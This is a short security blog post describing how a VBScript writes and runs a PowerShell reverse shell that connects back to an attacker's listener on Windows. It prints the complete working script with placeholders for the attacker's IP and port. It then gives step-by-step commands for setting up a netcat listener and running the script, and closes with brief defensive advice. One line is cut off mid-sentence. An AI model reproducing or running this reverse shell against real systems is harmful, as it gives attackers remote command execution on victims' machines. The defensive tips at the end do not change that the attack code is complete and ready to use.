Listen to this Post
In this article, we explore how attackers leverage VBScript to execute a reverse shell on a Windows system, bypassing security controls. The technique involves creating a VBScript that writes and executes a PowerShell-based reverse shell, connecting back to an attacker-controlled listener.
VBScript Code:
[vbs]
Set objFSO = CreateObject(“Scripting.FileSystemObject”)
outFile=”C:\Alpha\SA2\ReverseShell.ps1″
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write “$ip = ‘PWNIP’;$port = PWNPO;$tcp = New-Object System.Net.Sockets.TCPClient($ip, $port);$io = $tcp.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $io.Read($bytes, 0, $bytes.Length)) -ne 0) {;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (Invoke-Expression $data 2>&1 | Out-String );$sendback2 = $sendback + ‘$ ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$io.Write($sendbyte, 0, $sendbyte.Length);$io.Flush();};$tcp.Close();” & vbCrLf
objFile.Close
Set objShell = CreateObject(“WScript.Shell”)
objShell.Exec(“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Alpha\SA2\ReverseShell.ps1”)
[/vbs]
You Should Know:
- PowerShell Reverse Shell: The script above generates a PowerShell reverse shell. Ensure you replace `PWNIP` and `PWNPO` with the attacker’s IP and port.
- VBScript Execution: VBScript is often used in Windows environments for automation. Attackers exploit this to execute malicious scripts.
- Security Bypass: This technique can bypass certain security controls by leveraging trusted Windows tools like PowerShell.
Practice Commands:
1. Create a Listener:
nc -lvnp <PORT>
Replace `
2. Execute the VBScript:
Save the VBScript as `reverse.vbs` and execute it on a Windows machine:
wscript reverse.vbs
3. Check for Open Ports:
Use `netstat` to verify the connection:
netstat -an | find "LISTENING"
4. Disable PowerShell Execution:
To prevent such attacks, restrict PowerShell execution:
Set-ExecutionPolicy Restricted
5. Monitor Processes:
Use `Task Manager` or `Process Explorer` to monitor suspicious processes.
What Undercode Say:
This technique highlights the importance of securing scripting tools like PowerShell and VBScript in Windows environments. Regularly update and patch systems, restrict script execution, and monitor for unusual network activity. Implementing application whitelisting and using advanced endpoint protection can mitigate such threats.
For further reading, visit HTB Academy for hands-on labs and advanced techniques.
References:
Reported By: Dev Raval – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
